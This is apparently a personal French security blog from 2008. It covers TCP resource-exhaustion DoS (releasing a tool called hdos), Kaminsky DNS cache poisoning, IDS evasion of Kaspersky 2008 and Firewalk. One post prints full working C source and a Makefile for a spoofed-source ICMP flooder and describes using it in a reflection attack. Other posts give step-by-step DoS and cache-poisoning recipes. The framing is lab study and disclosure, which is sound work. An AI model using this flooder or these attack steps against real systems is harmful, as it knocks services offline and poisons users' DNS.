7 nov. 2008

Hdos - TCP resource exhaustion attack tool -

Voilà, je me suis décidé, je publie donc une version "gentille" de hdos, la version Hth du Ndos de Fyodor.

Juste pour ceux qui n'auraient pas suivi, Fyodor, le grand gourou du projet Nmap, a écris -mais jamais publié- un outil compagnon de nmap intitulé "Ndos". L'idée étant d'ouvrir des connections tcp sur un service sans passer par la pile Tcp/IP du kernel et donc de ne garder aucune trace des connections là où la cible va au contraire consommer beaucoup de ressources pour gérer ces connections.

(Cf. article ci-dessous)

Fyodor a simplement publié l'écran d'aide de Ndos, dont je me suis plus qu'inspiré!

L'outil Naphta implémente également cette attaque.

Hdos utilise la librairie Pcap et la Libnet (version 1.1.2.1) et suit un modèle de réception/envoi asynchrone. Des paquets SYN sont envoyés à haute vitesse tant que rien n'est disponible en réception. L'utilisation d'un filtre BPF (via la libpcap) fait que si quelque chose est disponible, alors il s'agit d'une réponse SYN+ACK provenant de la cible. Lorsque l'on en reçoit, on répond des ACK, jusqu'à ce que la file d'attente de la réception soit épuisée à nouveau, auquel cas on reprend l'envoi de SYN.

L'outil est donc relativement rapide et efficace. J'ai crashé (et bien comme il faut hein!!) mon eeepc en quelques centaines de connections sur le port 139.

Hdos pourrait être bien plus dangereux si on lui ajoutait la possibilité d'envoyer le contenu d'un fichier texte dans les connections ouvertes, afin de stimuler les services attaqués. Cette option, tout comme le mode "poli", n'a pas été implémentée par manque de temps et d'intérêt, vu que mon objectif n'était pas de releaser un missile pour script kiddies mais d'observer ce type d'attaques. Si Fyodor l'a fait, c'est qu'il utilise l'outil pour des pentest professionels, ce n'est pas mon cas.

Ceci dit, implémenter une telle option est tout à fait envisageable étant donné l'organisation du code (que j'ai essayé de commenter un peu).

Hdos est sous licence BSD, ce qui permet en gros à chacun d'en faire ce qu'il veut, y compris de ne pas diffuser d'éventuelles modifications. Ceci dit je serais bien content de recevoir quelques patchs ou feedback!

Un fichier README est associé au projet. Il rapelle notamment qu'il est nécessaire de configurer son firewall pour utiliser Hdos, afin de bloquer les paquets Tcp RST sortants (là encore, explications dans l'article ci-dessous).

hdos_0.1.tar.gz

MD5 (hdos_0.1.tar.gz) = c24829ca8684ca7ffb75d7dd1abcbf2f

18 oct. 2008

Attaques sur le protocole TCP

Hello, je tente de poster au milieu de ce qui est pour moi une rentrée chargée...
Bien que ces dernières semaines, la mode soit au clickjacking, il un petit buzz s'est formé autour de l'annonce de vullnérabilités découvertes sur TCP.
Et ouais, pendant que ces messieurs du web 12.0 se déchirent sur la dangerosité d'afficher un boutton "Valider" qui en fait ne valide pas (il faudrait tout de même n'avoir aucune dignité personelle pour s'abaisser à faire de telles choses! Nos criminels ont de l'honneur...), et bien d'autres continuent d'étudier les protocoles percés sur lesquels Internet évolue.

Après DNS, c'est donc au tour de TCP d'y passer, selon les auteurs du puissant (mais moins cool que nmap hein!) scanner de port "unicorn scan", il est possible d'attaquer les implémentations actuelles de TCP, pour provoquer un déni de service. Sans dévoiler leur attaque, ils affirment que tous les services testés sont vulnérables, et qu'il n'existe aucun 'workaround" propre au problème. Chouette et rassurant non?

Fyodor, le grand gourou lumineux du monde des développeurs réseau (avec Alan Cox aussi...) a rapidement publié un article sur insecure.org, dans lequel il ralaît (à raison) contre cette pratique de petite starlette d'annoncer au monde la découverte de vulnérabilité, tout en attendant des semaines pour la révéler. Encore, avec l'histoire de Kaminsky, cela pouvait avoir un sens, étant donné que les entreprises bossaient sur un patch, autant là on frôle le ridicule vu que ce n'est pas le cas!
Par ailleurs Fyodor s'essaye à deviner l'attaque "secrète". Selon lui (confirmé par les auteurs), il s'agit d'une variante de l'attaque connue depuis 8 ans, qui consiste à ouvrir des tas de connections TCP via une raw socket, sans garder trace des connections ouvertes. Le serveur, lui, conserve tout cela en mémoire. Au bout d'un moment, on atteind des seuils en terme de fichiers ouverts, packets [ACK|FIN] envoyés et mémoire allouée et le déni de service se produit. Seule le reboot du serveur remet les choses en ordre. L'outil NAPHTA implémentait cette attaque (on était plutôt dans le proof of concept quand même...).

Résumé de l'attaque :
Avant tout, il faut configurer son firewall afin qu'il n'envoi pas de paquet [RST] à la réception de paquet [SYN|ACK].

Le client forge un paquet TCP SYN et l'envoi en direction du service visé.

(Seq = seq_client, Ack = 0)
====[ SYN ]===>

Normalement le serveur renvoit un [SYN|ACK] avec un numéro de séquence que nous devons récupérer (IP spoofing à travailler sur un autre niveau qu'applicatif donc)

(Seq = seq_serveur, Ack = seq_client + 1)
<===[SYN|ACK]==== 


On capture ce paquet, et on en extrait le champ Seq afin de forger un paquet [ACK] afin de terminer l'ouverture de la connection.

(Seq = seq_client + 1, Ack = seq_serveur + 1)
====[ACK]===> 


Ensuite si l'on désire augmenter la puissance de l'attaque, on peut envoyer une requête sur un gros fichier ou autre, histoire d'obliger le système cible à copier des buffers dans le kernel, et à nous envoyer des données pour lesquelles bien évidemment nous n'accuserons jamais réception!
Au bout d'une période d'inactivité, la cible va nous envoyer des [ACK|FIN] (souvent une petite dizaine).


Fyodor dit avoir écrit un outil du style, nommé ndos, et dont il fourni le help screen. Mais refuse de le releaser. Intrigué par cette attaque que je ne connaissais pas, je me suis donc attaqué à l'écriture de mon outil, reprenant les mêmes options. Je suis rapidement arrivé à un premier truc assez lent mais efficace. Inéluctablement, les cibles pliaient!!

Tellement efficace que j'ai voulu écrire une seconde version, plus rapide (schéma envoi/réception asynchrone). Cette version est en cours de développement. Je la publierais peut être, auquel cas ce sera ici même.

Ainsi, si Ronald avait vu juste au sujet de l'accroissement des menaces par requêtes non-autorisées, j'ai l'impression que le retour aux fondamentaux n'avait été annoncé nul part. Erf, autre chose, on peut sniffer le web en forgeant des paquets BGP foireux, et créer des faux passeports électroniques en trois lignes de commande.
Rien que ça?
ouep!

C'est beau le futur des fois...

23 août 2008

Compiler la Libnet sous Windows avec Visual C++ 2008

Si la libnet est un outil fort sympathique, elle n'est plus vraiment entretenue par son développeur principal (unique?) Mike Schiffman. La dernière version (1.1.3) est donc fournie avec les fichiers de projet pour visual C++ 2005 et ça ne compile plus sous le dernier VC++ express! (Sous Gnu/Linux et FreeBSD ça marche sans soucis par contre!)

Voici les changements à effectuer pour que la compilation puisse se faire sous Windows :


La libnet dépend de la libpcap (winpcap sous windows). Il vous faut donc installer cette dernière ainsi que le winpcap developers pack.

Dans pcap-stdinc.h : commentez les lignes :

#define snprintf _snprintf
#define vsnprintf _vsnprintf



Dans libnet.h ajoutez la ligne suivante :

#define _CRT_SECURE_NO_WARNINGS


Qui vous évitera des warnings à tout va du compilateur
Vous pouvez ajouter également cette ligne dans le fichier libnet_link_win32.c

Plus loin dans libnet.h ajoutez

#define strdup _strdup



et enfin : dans libnet_resolv.c, à la ligne 128~129, remplacez :

snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
"%s(): %s\n", __func__, hstrerror(h_errno));


par

snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
"%s(): %s\n", __func__, "");


( Il existe sans doute mieux mais bon... )

Voila, un petit F7 et c'est parti!! A la fin de la compilation, la DLL se trouve dans C:\winnt\system32.

Si vous avez des remarques pour améliorer le truc, me dire que ça marche pas, ou qu'au contraire c'est super, n'hésitez pas!

22 août 2008

Kaspersky 2008 : fun sur l'IDS et le firewall intégré

Le framework Kaspersky internet security se compose en gros d'un scanner antivirus, d'un firewall, d'un IDS et de filtres divers (antispam, antiphishing, protection des zenfants etc...) je me suis amusé à observer le comportement des modules firewall et IDS (intrusion detection system)

Détection des scans de ports et OS fingerprinting :

Là dessus Kaspersky est assez fort en ce qu'il n'annonce et ne bloque que les scans qui ont une chance de fonctionner. Ainsi le Mainmon scan (-sM sur nmap) n'est pas annoncé et traité. Kaspersky se laisse abuser par des addresses IP spoofées, qu'il ajoute à la liste des hôtes bannis pendant une durée paramétrable (60mn par défaut). On ne peut pas lui reprocher ce comportement, se fier au cache ARP du système ne serait absolument pas fiable.
Là ou ça coince déjà plus, c'est que les scans ne sont détectés que si leur activité dépasse un seuil (non paramétrable, lui). Ainsi, les scans effectués sur mon LAN, avec les options -T 0, 1 ou 2 passent sans soucis!
Kaspersky ne semble pas se laisser influencer par les options TCP.

Flood :

Dans une période d'ennui de cet après-midi tout pourri (météorologiquement du moins) j'ai écrit un petit flooder icmp. Utilisant la libnet, il se révèle reltivement efficace ( envoi de plus de 160 000 icmp echo requests par seconde ), mais surtout, permet à l'utilisateur de spécifier les adresses IP source et destination.

Son utilisation pour effectuer un icmp flood `normal` contre la machine faisant tourner Kaspersky IS 2008, avec une adresse IP source quelconque et l'IP de la cible en destination, déclenche une alerte de Kaspersky. Le flood est détecté et bloqué.
Le comportement est donc bon (bien que si l'on coupe le firewall, on se rend compte que les activités réseau et cpu de la cible ne sont pas vraiment affectées)
Par contre, si en adresse source je met celle de la cible, et en adresse de destination celle d'une machine quelconque de mon LAN :
de la manière suivante, où 192.168.1.10 est la machine visée, et 192.168.1.14 une machine quelconque (répondant aux pings...)


root@inaree:~/# ./icmpF -s 192.168.1.10 -d 192.168.1.14
Src (192.168.1.10) --> Dst (192.168.1.14)
Session ended :
1582924 packets sent
44321872 bytes sent
0 errors



Alors Kaspersky ne détecte rien, malgré la reception de milliers de ICMP ECHO REPLIES, qui modifient les charges réseau et CPU de façon similaire à un flood direct, avec firewall désactivé!!!
En effet, le flood de requêtes ICMP echo (des "pings" quoi!) se fait contre une autre machine du réseau, mais ayant spoofé l'adresse IP de la machine cible, l'identifiant comme émettrice des requêtes, les réponses lui sont renvoyées. Si l'intermédiaire est assez costaud niveau charge réseau (on peut utiliser le routeur par exemple, à nos risques et périls!), le flux de l'attaque conserve son ampleur.
J'ai pu noter également une rapidité nettement supérieure lorsque j'utilisais une carte sans fil pour mener l'attaque, la machine intermédiaire était mon routeur, qui redirigait les réponses au gros traffic reçu en WIFI vers la carte ethernet de ma machine cible.

Voila, je mettrais à jour le post si je trouve d'autre comportements bizares! En attendant voici le code du flooder, juste pour constater l'eficacité de la libnet!


/*
* file icmpF.c
*/

#include <stdio.h>
#include <signal.h>

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include <libnet.h>


/*
* Functions prototypes
*/
void onExit( int signo );
int getAddresses( int argc, char **argv, struct in_addr * srcAddr, struct in_addr * dstAddr );
int startFlood( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr );
void craftPacket( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr );
/* ---------- -- ----------- */


unsigned char Loop = 1;


int main( int argc, char ** argv )
{
int exitValue; /* Return value */
libnet_t * handle; /* Libnet handle */
char errbuf[LIBNET_ERRBUF_SIZE]; /* Libnet error buffer */
struct in_addr srcAddr, dstAddr; /* Source and destination IPv4 addresses */

srcAddr.s_addr = 0;
dstAddr.s_addr = 0;

if ( getAddresses( argc, argv, &srcAddr, &dstAddr ) )
{
fprintf( stderr, "%s -s [ Source address ] -d [ Destination address ]\n", argv[0] );
exitValue = EXIT_FAILURE;
}
else
{
/* SIGINT (ctrl+c is used to break sending loop */
signal( SIGINT, onExit );
/* -- Starting libnet session -- */
if ( ( handle = libnet_init( LIBNET_RAW4, NULL, errbuf ) ) == NULL )
{
fprintf( stderr, "%s\n", errbuf );
exitValue = EXIT_FAILURE;
}
else
{
/* prandn generator is seeded here, then we can get pseudo random integers using our libnet handle */
libnet_seed_prand( handle );
startFlood( handle, srcAddr, dstAddr );
libnet_destroy( handle );
exitValue = EXIT_SUCCESS;
}
}

exit( exitValue );
}

void onExit( int signo )
{
Loop = 0;
}

int getAddresses( int argc, char **argv, struct in_addr * srcAddr, struct in_addr * dstAddr )
{
if ( argc != 5 )
{
return 1;
}
else
{
unsigned char flags = 0;
unsigned int i;

for ( i = 0 ; i < argc ; i++ )
{
if ( !strcmp( argv[i], "-d" ) && ( argv[i+1] != NULL ) )
{
dstAddr->s_addr = inet_addr( argv[i+1] );
flags |= 1;
}
else if ( !strcmp( argv[i], "-s" ) && ( argv[i+1] != NULL ) )
{
srcAddr->s_addr = inet_addr( argv[i+1] );
flags |= 2;
}
else
{
/* nothing to do */
}
}

if ( ! ( flags & 1 ) ) /* No destination address specified */
return 2;
if ( ! ( flags & 2 ) ) /* No source address specified */
return 3;
}

fprintf( stderr, "Src (%s) --> ", inet_ntoa( *srcAddr ) );
fprintf( stderr, "Dst (%s)\n", inet_ntoa( *dstAddr ) );

return 0;
}


int startFlood( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr )
{
struct libnet_stats sessionStats;
craftPacket( handle, srcAddr, dstAddr );

while ( Loop )
{
libnet_write( handle );
}

libnet_stats( handle, &sessionStats );
fprintf( stdout, "Session ended :\n");
fprintf( stdout, "\t%lu packets sent\n", ( unsigned long )sessionStats.packets_sent );
fprintf( stdout, "\t%lu bytes sent\n", ( unsigned long )sessionStats.bytes_written );
fprintf( stdout, "\t%lu errors\n", ( unsigned long )sessionStats.packet_errors );

return 0;
}

void craftPacket( libnet_t * handle, const struct in_addr srcAddr, const struct in_addr dstAddr )
{
unsigned long probeIcmpId = libnet_get_prand( LIBNET_PRu16 ); /* transaction ID */

libnet_build_icmpv4_echo(
ICMP_ECHO, /* ICMP type */
0, /* ICMP code */
0, /* checksum */
probeIcmpId, /* transaction ID */
0, /* Sequence number */
NULL, /* Payload buffer */
0, /* Payload size */
handle, /* libnet handler */
0 /* create new header */
);

libnet_build_ipv4(
LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, /* Total IP packet length */
IPTOS_LOWDELAY, /* Type of service */
libnet_get_prand( LIBNET_PRu16 ), /* IP ID */
0, /* fragmentation */
64, /* Time to Live */
IPPROTO_ICMP, /* IP protocol */
0, /* IP checksum */
srcAddr.s_addr, /* local IP address */
dstAddr.s_addr, /* target IP address */
NULL, /* IP payload */
0, /* IP payload size */
handle, /* libnet session */
0 /* modify existant header */
);
}



et le Makefile :

#
# icmpf makefile
#

CC=gcc
ECHO=echo

CFLAGS=`libnet-config --cflags --defines` -O0 -g -Wall -pedantic
LDFLAGS=`libnet-config --libs`


EXEC=icmpF


.SILENT:


all: $(EXEC)


$(EXEC): icmpF.c
$(ECHO) " [CC] $@"
$(CC) $(CFLAGS) $< -o $(EXEC) $(LDFLAGS)

clean:
$(ECHO) " [Cleaning sources]"
rm -f $(EXEC) *.o \#* *~

distclean: clean



23 juil. 2008

Faille DNS expliquée

Bon, je reconnais que j'ai peut être parlé un peu vite lorsqu'hier je disais que je ne parlerais pas de la faille intrinsèque à l'architecture de DNS découverte par D. Kaminsky toussa...

Ce que je voulais dire c'est que je n'en parlerais pas TANT QUE L'ATTAQUE NE SERAIT PAS CONNUE, et maintenant c'est fait! Qui a fait la boulette? on dira pas!

La faille à été extrêmement médiatisée (fun de voir les médias grand public tenter d'expliquer le DNS cache poisoning à M/Mme les-hackeurs-vont-m'envoyer-des-virus ), mais l'attaque en elle même est restée secrète, bon plus maintenant donc...

Pour capter le truc il faut avoir quelques notions sur le fonctionnement des DNS.

Basic: le DNS est le protocole qui permet de faire le lien entre noms d'hôtes ( www.google.com ) et addresses IP.

Pour ceux qui aiment les RFC et qui n'ont rien de prévu les 4 prochains mois voila de quoi s'occuper : http://www.dns.net/dnsrd/rfc pour les autres, la lecture de la RFC 1034 est déjà bien enrichissante (et pour coder la 1035 parle de l'implémentation)

Il reste du monde? Alors on peut reprendre. Une transaction DNS (requête + réponse) se fait autour d'un identifiant pseudo aléatoire, côdé sur 16 bits. Ainsi, pour fausser une réponse DNS, il faudrait connaitre cet identifiant, 16 bits c'est peu mais c'est quand même beaucoup à bruteforcer. Par contre, mathématiquement, si vous parvenez à faire éxécuter 1000 requêtes DNS à la victime, vous avez 1000 fois plus de chance de la piéger ^^

Le second élément à prendre en compte pour mener à bien l'attaque qui nous interesse est l'existence d'additionnal RRs (les RRs - ressource records - sont les champs du paquet qui contiennent l'objet des requêtes/réponses, voir les RFC). Si une requête sur aa.domain.com aboutit avec comme additionnal RRs bb.domain.com, les deux adresses sont mises en cache. En cas d'attaque, vous attaquez donc deux hôtes du même domaine à la fois. Forcément du même domaine? ouais parce que le DNS c'est un peu Disneyland mais les clients sont quand même conçus pour être pas trop stupides.

N'oublions pas que notre victime est un résolveur DNS, en lui envoyant des requêtes, il va interroger (via le mécanisme de récursion) des serveurs de contenu etc... Donc si vous faites en sorte que votre victime demande successivement aaaa.hackme.com, puis aaab.hackme.com etc... vous entrez en course contre le système récursif du serveur DNS cible. A chaque requête, le serveur rend un NXDOMAIN (domaine inconnu), vous êtes désavantagés à cause de l'existence de l'identifiant dont nous parlions au début, néanmoins, la force de l'attaque réside de le fait qu'il suffit d'une seule réussite (au sujet d'un hôte inexistant) à votre actif pour empoisonner le cache du serveur DNS victime pour n'importe quel autre du domaine, à l'aide des additional RRs!

Ainsi, vous empoisonnez le cache pour aaaa.google.com ce dont on se fout un peu, mais aussi www.google.com, ce qui est un petit peu plus gênant pour les prochains! Evidement, on placerait dans de telles requêtes un TTL le plus long possible, histoire que l'effet persiste.

Pour résumer : vous envoyez des requêtes à un résolveur, sur des hôtes inconnus, et envoyez également les réponses "du serveur" qu'il interrogera, jusqu'à ce que l'une de vos "réponse" soit prise à la place d'une vraie, vous avez alors empoisonné le cache pour bien plus qu'un hôte qui n'existe pas!

La solution de Kaminsky (et du consortium d'industriels qui a patché la faille dans un bel exemple de coopération) est de randomiser non seulement l'ID de transaction mais également le port source, ainsi, ce n'est plus seulement 16 mais 32 bits qu'il faut attaquer, et là c'est nettement plus chaud!

L'auteur de l'article qui m'a inspiré (retiré maintenant) estime à une dizaine de secondes le temps nécessaire pour mener à bien l'attaque avec une connection intrernet rapide.

Les patchs sont en cours de distribution, sinon vous pouvez passer sous OpenDNS, qui utilise des serveurs protégés, ou si vous maintenez un serveur DNS installer DJBDNS qui randomize son port source depuis des années. Attention aux phishers maintenant que l'attaque est disclosed et tous les serveurs non patchés!


UPDATE : |)ruid et HDM (metasploit project) ont publié ce matin un exploit fonctionnel sur Full-disclosure, intégré au metasploit framework, des attaques sont donc à prévoir.

22 juil. 2008

Security/Networking libs et temps qu'il reste à vivre

Je me suis offert récement l'excellent ouvrage de Mike Schiffman "Building open source security tools".

L'auteur y présente les paradigmes des outils de sécurité réseau, les librairies pratiques :

  • Libpcap : capture de paquets
  • Libnet : création/injection de paquets - écrite par l'auteur -
  • Libnids : monitoring et évaluation d'évènements réseau
  • Libdnet : manipulations sur les basses couches du réseau (accès au cache ARP du noyau, analyse des interfaces réseau, construction de paquets...)
  • LibSf : OS fingerprinting
  • LibOpenSSL : cryptographie

Mais aussi des présentations des techniques de reconnaissance passive et active, des techniques d'attaque, de défense et - wouhou!- un gros chapitre sur Firewalk! Pour ceux qui ne connaissent pas, Firewalk permet de déterminer les règles appliquées par un firewall (ACL).

Tout comme traceroute, Firewalk se base sur l'IP expiration (décrémentation du champ TTL des paquets IP à chaque `hop') pour tester le fonctionnement d'un firewall sans connaissance de l'état des machines qu'il protège.

Le champ TTL (Time to Live) d'un packet IP permet d'éviter les boucles de routage. Lorsqu'un packet est émis, ce champ est remplit d'une valeur plus ou moins arbitraire, décrémentée par chaque routeur que le paquet traverse. Lorsqu'il arrive à zero, le routeur (s'il se comporte normalement) doit émettre un paquet "ICMP detination unreachable" à l'émetteur. Ainsi, l'outil traceroute tente de joindre une cible donnée avec un ttl de 1, puis de 2 puis 3 etc... afin de déterminer par quels routeurs passent les packets pour atteindre la cible.

Firewalk détermine donc d'abord la distance (en hops bien sûr!) qui le sépare du firewall. Disons 3.

Il débute ensuite un scan d'une machine - réelle - au sein du réseau, située à plus d'un hop du firewall, tout en fixant le TTL des paquets envoyés à 4. Ainsi, ils doivent passer le firewall, sans néanmoins atteindre la machine scannée. Les paquets sont envoyés en UDP et TCP, port par port ('fin selon ce que l'on spécifie quoi!).

Si le paquet respecte une règle du firewall ("autorisé à passer"), Firewalk reçoit un message "ICMP destination unreachable" (Time to Live insuffisant pour atteindre la machine scannée)

Sinon, le timeout expire : le port est bloqué par le firewall.

C'est tout bête, c'est super efficace, c'est bien écrit, c'est open source, c'est du old school, rhâââ que c'est beau!!

J'utilise actuelement les libpcap et libnet pour un projet de stage, et je suis impressionné par la puissance qu'elles offrent, bien que le côté "opaque" des manipulations me gène un petit peu, l'écriture des softs est simple et les libs assez matures pour ne pas perdre en possibilités.

Savoir que le code produit est portable est également motivant. Je ne pense pas finalement réécrire RARPing avec ces librairies, mais APing aurait sans doute à y gagner (portabilité, lisibilité, rapidité etc...)

Stay tuned! (hum inutile d'être trop trop `tuned' quand même, vu le temps libre dont je dispose, ça sera pas fait demain non plus...)

Et non je ne parlerais pas de Dan Kaminsky avant sa conf au Black Hat 2008!! Par contre les noms des nominés aux  pwnies awards sont maintenant publiés sur http://pwnie-awards.org/2008/awards.html et ça c'est marrant!

13 juil. 2008

The Nmap book, par Fyodor

Bon, inutile je suppose de s'attarder sur les présentations, Nmap est de l'avis de tous le scanner de ports le plus puissant aujourd'hui. Il dispose aussi de la capacité à reconnaitre un OS à distance, d'une détection des versions des services, d'un moteur de script, et d'innombrables projets auxiliaires (GUI, nping, ncat, base de scripts...)

Le projet a commencé ici par Fyodor. Le même Fyodor est en train de terminer l'écriture d'un livre au sujet de Nmap. Il a récemment mis en ligne presque la moitié de son livre, en attendant une sortie définitive (prévue pour début/mi aout).

Ces chapitres sont disponibles ici : http://nmap.org/book/toc.html